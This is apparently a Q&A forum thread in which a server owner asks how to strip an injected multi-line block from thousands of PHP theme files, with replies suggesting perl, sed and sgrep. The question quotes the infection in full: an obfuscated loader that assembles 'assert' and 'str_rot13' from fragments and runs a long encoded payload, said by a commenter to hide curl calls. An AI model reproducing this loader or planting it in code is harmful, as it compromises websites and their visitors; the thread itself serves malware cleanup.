I have a server with thousands of files containing a multi-line pattern that I want to globally find & replace.

Here's a sample of the pattern:

<div class="fusion-header-sticky-height"></div>
<div class="fusion-header">
        <div class="fusion-row">
                <?php avada_logo(); ?>
                <?php avada_main_menu(); ?>

//###=CACHE START=###
@ini_set("display_errors", 0);
@assert_options(ASSERT_ACTIVE, 1);
@assert_options($wa, 0);
@assert_options(ASSERT_QUIET_EVAL, 1);

$strings = "as"; $strings .= "se";  $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r";  $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode");
$light =  $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFxtrlOyL2uiVPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftsFOyoUAyVUfXWUIloPN9VPWbqUEjBv8ioT9uMUIjMTS0MKZhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKFxhVvMcCGRznQ0vYz1xAFtvZwSxLGVkAwqzBJEvBTSwAwV4ZwLkMGp3AQyvLJH1ZwDkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcB2A1pzksp2I0o3O0XPEwqKWfYPOQIIWZG1OHK0ACGx5SD1EHFH1SG1IHYPN1XGftL3IloS9mMKEipUDbWTA1pzjfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfXL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtoJD1XT1xAFtxK1WSHIISH1EoVaNvKFxcVQ09VPVkAwN0MwH5ZmxjZwp3ZGVlBGp1BJDjMQHkAGyzA2HkLvVcVUftMKMuoPumqUWcpUAfLKAbMKZbWS9FEISIEIAHJlWwVy0cXGftsDcyL2uiVPEcLaL7PtxWPK0tsD=="));'); $strings($light);
//###=CACHE END=###

I've tried various methods to find and replace this string but its multiline nature has got me stumped. I've looked around extensively (over a day of searching) and the solutions I've found can't handle the multi-line nature of this.

Any assistance would be most welcome.


I've got a solution now, largely thanks to the accepted answer.

Others facing something similar should look at my github project for this.

  • The tool I would reach for is perl, with its easy to use ability to read in the whole file into a single string, do edits and write it back out. Is the "respectable" string the same in every infected file?
    – icarus
    Nov 13, 2016 at 5:11
  • @icarus thankfully it is the same literal string in each file. I tried perl for this very briefly, I've never really used it, so maybe I'm due anyway. Nov 13, 2016 at 6:15
  • 1
    Perhaps the simplest thing you can do is put the two lines you want to remove into a file on their own. Then replace everything in that file that is not alphanumeric by backslash and the character. Add a forward slash at the start of the line and a foward slash and d at the end. This file you can give to sed with a -f, and should have solved your quoting problems. Want this expanded into an answer?
    – icarus
    Nov 13, 2016 at 6:28
  • 1
    wow, I just decoded the PHP, thats some lengths to obfuscate their curl calls. do you use vim? you could do a recursive grep for the strings, then write a macro and call it on every match? Nov 13, 2016 at 6:28
  • 1
    Nuke it from orbit. Don't muck around with Perl.
    – Wildcard
    Nov 14, 2016 at 7:34

1 Answer 1


If you want to edit text defined by a context-free language (nested matching begin and end tags, e.g. HTML or XML), you should use a tool made for that instead of a tool for regular expressions.

Such a tool is for example sgrep (available as a package for many linux distros): You can match (nested) regions defined by beginning and ending tags, and manipulate them. So for example

sgrep -o '%r\n' '(start .. end) extracting ("<?php".."?>" containing "###=CACHE START=###")'

will remove any region starting with <?php and ending with ?> that contains ###=CACHE START=### from your file, by printing all other regions separated by a newline. Newlines and white space are not considered relevant for matching, so multiline matches are for free.

  • Whilst true, I don't think this is helpful. The effort to write enough rules to say handle ?> inside a string correctly will negate any advantage in being able to handle nested infections.
    – icarus
    Nov 13, 2016 at 15:50
  • @icarus: You don't have to handle ?> inside a string for this example, the code snippet that needs to be removed doesn't have ?> inside a string. So I don't see the problem. That is, if I understood correctly that the whole sequence from CACHE START to CACHE END is the infection, and has to be removed. If only part of it needs to be removed, the question should be clarified.
    – dirkt
    Nov 13, 2016 at 15:53
  • I was responding to the first paragraph. If you are going to restrict the problem domain to the example then you only need literal string matching!
    – icarus
    Nov 13, 2016 at 16:40
  • @icarus restricting the problem domain to literal matching is actually all I need in this case, as the injected code is entirely consistent. Thanks dirkt, I'll give this a whirl. Nov 13, 2016 at 18:33
  • @dirkt I've tried this now, I've updated the question with where I'm at with it. Hopefully you can help a little more, there's much more info provided now. Nov 13, 2016 at 19:56

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .